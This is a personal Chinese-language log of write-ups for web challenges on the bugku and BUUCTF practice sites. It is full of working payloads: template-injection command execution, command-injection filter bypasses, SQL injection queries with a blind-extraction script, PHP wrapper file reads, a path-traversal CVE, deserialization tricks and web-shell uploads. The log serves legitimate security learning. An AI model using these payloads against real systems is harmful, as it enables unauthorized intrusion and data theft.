刷题网站:bugku;BUUCTF
本文记录了在刷题过程中所学到的知识点
坚持每天刷5道题,持续更新
坚持就是胜利鸭
根据题目SSLI即服务端模板注入攻击,服务段接收用户输入,将其作为web应用模板的一部分,渲染编译后执行恶意内容,导致敏感信息泄露、代码执行等。
直接F12,发现提示in the flask,set a secret_key
flask模板,config是flask模板中的一个全局对象,包含了所有应用程序的配置值。
然后在url输入/?flag={{config.SECRET_KEY}}(注意要大写哦)
/?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../').read()}}
?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../app/').read()}}
?flag={{config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read()}}
popen()打开一个指向进程的管道,改进程由派生给定的command命令执行而产生
直接F12,发现只能接收jpg和png的文件,然后上传后的文件内容会被python执行
我们新建一个文件内容是,然后将其改成png或者是jpg形式的图片,提交后,成功拿到flag
import os
os.system(‘cat /flag’)
system函数可以将字符串转化成命令在服务器上运行。
这个只需要把maxlength改掉或者删掉就可以
这个在wp的辅助下完成,太绕了
首先通过御剑扫描,登录一件刷钻 - 用户登录
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GWipHLuH-1628163436197)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712142011445.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lFtIAMKL-1628163436200)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712142113632.png)]
在这里发现一个压缩包,下载下来
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XUlGPczc-1628163436202)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712142159412.png)]
用wireshark进行抓包,发现user:YnVna3VrdUAxNjMuY29t和pass:WFNMUk9DUE1OV1daUURaTA==
base64解密后[email protected] pass=XSLROCPMNWWZQDZL
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UtCJTqcN-1628163436205)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712142309516.png)]
登录邮箱后,在翻找邮件后,发现mara发的一封邮件,生日推断出来应该是2001年2月6日
在尝试后,密码是20010206,登录进网站得到flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hjV1udQQ-1628163436206)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712151026869.png)]
直接F12,看到和分数有关的一个url
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BUIIP8Vl-1628163436208)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712151219447.png)]
点进去发现zMMjc1==,275用base64解码后为Mjc1==
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0uq5AHif-1628163436208)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712151242358.png)]
所以用bp,然后改请求参数,得到flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LqjoHPcV-1628163436209)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712151351554.png)]
首先用御剑扫描,发现shell.php
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r0pHzgIA-1628163436210)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712152147226.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gcEIfTLS-1628163436211)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712152225692.png)]
用bp进行爆破密码,密码为hack,成功拿到flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AkZenB0h-1628163436211)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712153111841.png)]
dGVzdDEyMw用base64解密后为test123,应该是密码什么的,但是在网页上输入username为admin,password为test123还是不行,它提示说IP禁止访问.
于是用bp抓包,请求头加上X-Forwarded-For:127.0.0.1,然后post:user=admin&&pass=test123
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RQ28aPyY-1628163436212)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712154126437.png)]
成功拿到flag
随意输入密码后,发现脚本
var r = {code: 'bugku10000'}
if(r.code == 'bugku10000'){
console.log('e');
document.getElementById('d').innerHTML = "Wrong account or password!";
}else{
console.log('0');
window.location.href = 'success.php?code='+r.code;
}
题目提示密码为“zxc???"应该是6位 ,我们可以考虑用burp进行爆破,
通过代码可以看出如果code为bugku10000是不行的,因为code在成功页面肯定不是bugku10000,可以使用{code:‘bugku10000’}对返回包内容进行筛选,最后破解得到密码为zxc123
^表示开始字符串,$表示结束字符串
\w表示包含[a-z,A-Z,_,0-9]
+表示一个或者多个\w
var_dump()函数 显示一个或多个表达式的结构信息,包括表达式的类型与值
global是变量别名,$GLOBALS是变量实体
输入url:/?args=GLOBALS,得到flag
eval函数有注入点,在url后面加上?hello=file(‘flag.php’)即可
file()函数把整个文件读入到一个数组中
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WxAOprhp-1628163436213)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712184258611.png)]
题目提示tig,百度后知道tig是Git的一个文本界面,应该是git泄露
将git文件下载,wget -r 114.67.246.176:15535/.git
然后 进入114.67.246.176:15535文件目录
然后用git reflog
git命令可以看到操作记录
git reflog可以查看所有分支的所有操作记录(包括已经被删除的commit记录和reset记录的操作)
git log命令可以显示所有提交过的版权信息
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2SBI9m3v-1628163436213)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210712184917328.png)]
然后可以用git show+文件名一个个试,最终成功拿到flag
百度后发现这个是phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) - 淚笑 - 博客园 (cnblogs.com)
"source.php","hint"=>"hint.php"];//白名单
if (! isset($page) || !is_string($page)) {//如果不存在或者不是字符串就返回错误
echo "you can't see it";return false; }
if (in_array($page, $whitelist)) {return true;}
$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));//截取问号之前的字符串
if (in_array($_page, $whitelist)) {return true;}//如果在白名单内就返回true
$_page = urldecode($page);
$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));//截取问号之前的字符串
if (in_array($_page, $whitelist)) { return true; }//如果在白名单内就返回true
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&&emmm::checkFile($_REQUEST['file'])) {
include $_REQUEST['file'];exit;} //如果file不空,是字符串,并且checkfile检查正确
else {
echo "
";}
?>
mb_substr()获取部分字符串
mb_strpos()返回要查找的字符串在另一个字符串中首次出现的位置
p a g e 是 取 出 _page是取出 page是取出page问号前的东西,考虑到可能有参数情况,只要$_page在白名单中就直接return true,
但是还考虑到url编码的情况,下一步又进行了url解码
所以二次编码后的内容,会让checkfile()函数返回true,但实际包含的内容不是白名单中的文件
它只是截取?号前面的字符串进行校验,但是include包含的还是之前的传入的参数,所以最后通过目录穿越到 ffffllllaaaagggg里得内容
hint.php文件中:flag not here, and flag in ffffllllaaaagggg
上面两次返回true都可以成功获得url
/source.php/?file=hint.php?../…/…/…/…/ffffllllaaaagggg
或者将?进行两次url编码
/source.php/?file=hint.php%253f…/…/…/…/…/ffffllllaaaagggg
直接试用username:admin
password:admin’ or ‘1’='1
使用php://filter伪协议来包含,其会被当作php文件执行,所以需要read=convert.base64-encode进行编码,阻止其不执行,从而导致任意文件读取
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
解码后得到php文件源码
sql="select".$_post['query']."||flag from Flag"; 让post得到的数据为*,1,则sql语句 > select *,1 ||flag from Flag > > 即 > > select * from Flag 方法二: 在Oracle数据库缺省支持通过||来实现字符串拼接,但在mysql数据中缺省不支持。需要调整**Mysql**的`sql_mode`模式:`pipes_as_concat`来实现**Oracle**的一些功能: > 1;set sql_mode=PIPES_AS_CONCAT;select 1 select 1 from 会增加一个临时列,列名为1,然后一列的值都为1 select 1 ||flag from 会返回列名为1的列和flag列的组合 ## 17、BUUCTF--secret file 通过BurpSuite抓包得到secr3t.php ,访问 ```
payload: /secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
得到解码后
1‘ union select 1,2,database()#
获取所有表名
> 1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
表名:geekuser,l0ve1ysq1
获取所有列名
> 1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
id,username,password
获取所有数据
> 1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from l0ve1ysq1%23
## 20、BUUCTF--Ping Ping Ping
?ip=127.0.0.1;ls
得到index.php和index.php
尝试?ip=127.0.0.1 ;cat flag.php
但是一直提示/?ip= fxck your space!
应该是对空格进行了过滤
%20(space)、%09(tab)、$IFS$9、${IFS}$9、 {IFS}、IFS
`构造`?ip=127.0.0.1;cat$IFS$1flag.php
提示 /?ip= fxck your flag!,对flag过滤
然后查看?ip=127.0.0.1;cat$IFS$1index.php
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo "
"; print_r($a); } ?>
1、通过变量实现字符串拼接
> /?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
2、通过执行sh命令来执行 (bash被过滤了,不然也可以执行)
> /?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
sh是Linux中运行shell的命令
3、/?ip=127.0.0.1;cat$IFS$9`ls`
内联执行,将反引号内命令的输出作为输入执行
## 21、BUUCTF--HTTP
![image-20210803112900193](C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210803112900193.png)
![image-20210803112930247](C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210803112930247.png)
添加Referer:https://www.Sycsecret.com
![image-20210803113030638](C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210803113030638.png)
在user-agent添加Syclover
![image-20210803113122678](C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20210803113122678.png)
添加X-Forwarded-For:127.0.0.1
## 22、BUUCTF--Easy Calc
calc.php
1、PHP的字符串解析特性
> PHP将查询字符串转换为内部$_GET或关联数组$_POST,查询字符串在解析的过程中会将某些字符删除或用下划线代替
因为waf不允许num变量传递字母,可以在num前加上空格
首先扫描目录下的所有文件,var_dump(scandir(chr(47))),因为'/'被过滤了,所以用chr(47)绕过
var_dump(file_get_contents(chr(47).f1agg))读取文件
## 23、BUUCTF--Upload
先上传一句话木马:命名为aaa.png
发现后端对文件内容进行了检测,接下来用文件幻术头的方式进行绕过
GIF89a
成功绕过检测然后,将文件后缀名改成phtml
接下来用蚁剑进行连接
## 24、easy_tornado
flag.txt flag in /fllllllllllllag
welcome.txt render
/hints.txt
md5(cookie_secret+md5(filename))
render是python的一个模板
> url由filename和filehash组成,当有filename和filehash不匹配时,将会跳转到error?msg=Error
>
> 看到msg参数,尝试模板注入,error?msg={{1}},发现存在模板注入
根据题目提示搜索tornado cooie_secret
> 与RequestHandler关联的Application对象有setting这个属性
获得secret_cookie的方法:error?msg={{handler.settings}}
> handler就是指向RequestHandler的对象
## SSTI
//获取基本类
‘’.class.mro[1]
{}.class.bases[0]
().class.bases[0]
[].class.bases[0]
object
//读文件
().class.bases[0].subclasses()40.read()
object.subclasses()40.read()
//写文件
().class.bases[0].subclasses()40.write(‘123’)
object.subclasses()40.write(‘123’)
//执行任意命令
().class.bases[0].subclasses()[59].init.func_globals.values()[13][‘eval’](‘import(“os”).popen(“ls /var/www/html”).read()’ )
object.subclasses()[59].init.func_globals.values()[13][‘eval’](‘import(“os”).popen(“ls /var/www/html”).read()’ )
## 25、BUUCTF--PHP
username = $username; $this->password = $password; } #序列化将对象转化为字符串,反序列化将字符串转化为对象 function __wakeup(){#在序列化之后立即调用(在反序列化前被调用) $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "NO!!!hacker!!!"; echo "You name is: "; echo $this->username;echo ""; echo "You password is: "; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "hello my friend~~sorry i can't give you the flag!"; die(); } } } $a=new Name('admin',100); $b=serialize($a); var_dump($b); ?>
private属性序列化:%00类名%00成员名
protect属性序列化:%00*%00成员名
> O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
>
> O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
>
> 在反序列化前会先调用wakeup,所以要把name改为3,当反序列化时,若属性个数大于真实属性个数时,则会跳过wakeup
>
> O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
1、Session欺骗
{% include(‘header.html’) %}
{% if current_user.is_authenticated %}
{% include(‘footer.html’) %}
> 只要从session中得到name为admin就会显示flag,其session存储在客户端,也就是说其实只是将相关内容进行加密保存到了session中。
2、Unicode欺骗
> 通过代码审计能看到在注册、登陆和修改密码的方法中,都对用户名进行了`strlower`函数的操作。python本身就有`str.lower()`的方法,作者还专门写了一个自己的方法。这个方法里面有一个漏洞,就算Unicode欺骗。
>
> 只需要注册`ᴬdmin`账户,然后登陆上去修改密码后,就能直接修改掉`admin`的密码。然后使用这个新密码直接登陆`admin`账号。字符可以在这个网站找https://unicode-table.com/en/1D2E/,类型为Modifier Letter Capital。
>
>
26、BUUCTF
需要注意cookie也需要改
## 27、BUUCTF--Easy MD5
在响应头里发现
> select * from 'admin' where password=md5($pass,true)
md5(string,raw)
> content: ffifdyop
> hex: 276f722736c95d99e921722cf9ed621c
> raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
> string: 'or'6]!r,b
在mysql中。以数字开头的字符串会被当做整型数;password='xxx' or '1xxxxx'
## 28、BUUCTF--NiZhuanSiWei
1、file_get_contents()
> 该函数用于把文件的内容读入到一个字符串中
将文件内容通过data伪协议写进去
> ?text=data://text/plain,welcome to the zjctf
>
> ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
2、用php://filter协议来读取useless.php
> ?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
3、BASE64解密,然后在本地进行序列化操作
file)){ echo file_get_contents($this->file); echo "
file)){ echo file_get_contents($this->file); echo "
> O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
## 29、BUUCTF--CheckIn
上传b.png
> GIF
>
>
抓包后,改掉后缀不可以;
.user.ini文件形成后门原理就是会在执行所有的php文件之前包含.user.ini所指定的文件
> GIF
>
> auto_prepend_file=b.png
>
> 所有的php文件执行前会将b.png当作php类型的文件先包含执行一遍
先上传.user.ini文件,接着上传一个b.png,接着访问上传目录下的index.php,用蚁剑连接
## 30、BUUCTF--hardsql
发现order by和union都不行
可以使用extractvalue和updatexml进行报错注入
但是该题目还过滤了空格,可以用^来连接函数形成异或
username=1&password=1'^extractvalue(1,concat(0x7e,(select(database()))))#
> geek
username=1&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables))))#
> XPATH syntax error: '~ALL_PLUGINS,APPLICABLE_ROLES,CH'
因为过滤了等于号,可以用like来代替
username=1&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))#
> XPATH syntax error: '~H4rDsq1'
username=1&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))#
> XPATH syntax error: '~id,username,password'
username=1&password=1'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))#
> XPATH syntax error: '~flag{3a61a948-da2d-4212-b177-38'
username=1&password=1'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))#
> XPATH syntax error: '~flag{3a61a948-da2d-4212-b177-3'
username=1&password=1'^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))#
> XPATH syntax error: '~8-da2d-4212-b177-3835720a19e6}'
## 31、BUUCTF--Hack World
php sql注入 盲注
import requests
url = “http://e915fbd5-665f-4f9d-a5f1-3e7007e58999.node3.buuoj.cn/index.php”
temp = {“id”:“0”}
re1 = len(requests.post(url, data=temp).text)
print(re1)
flag = ‘’
for i in range(1,100):
for j in range(45,126):
temp[“id”] = “1^(ascii(substr((select(flag)from(flag)),” + str(i) + “,1))=” + str(j) +")"
re = len(requests.post(url, data=temp).text)
if re == re1:
flag = flag + chr(j)
print(flag)
break
## 32、BUUCTF--AreUSerialz
```php
process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
is_valid()判断在(ord( s [ s[ s[i]) >= 32 && ord( s [ s[ s[i]) <= 125)中
当输入admin时提醒wrong pass,输入其他时提醒wrong user
使用联合注入,当联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据
$data = select * from users where username=$name.
if ($data['username'] === 'admin') {
if ($data['password'] === md5($pw)) {
return true;
}
}
name=1’ union select 1,‘admin’,‘5f4dcc3b5aa765d61d8327deb882cf99’ #&pw=password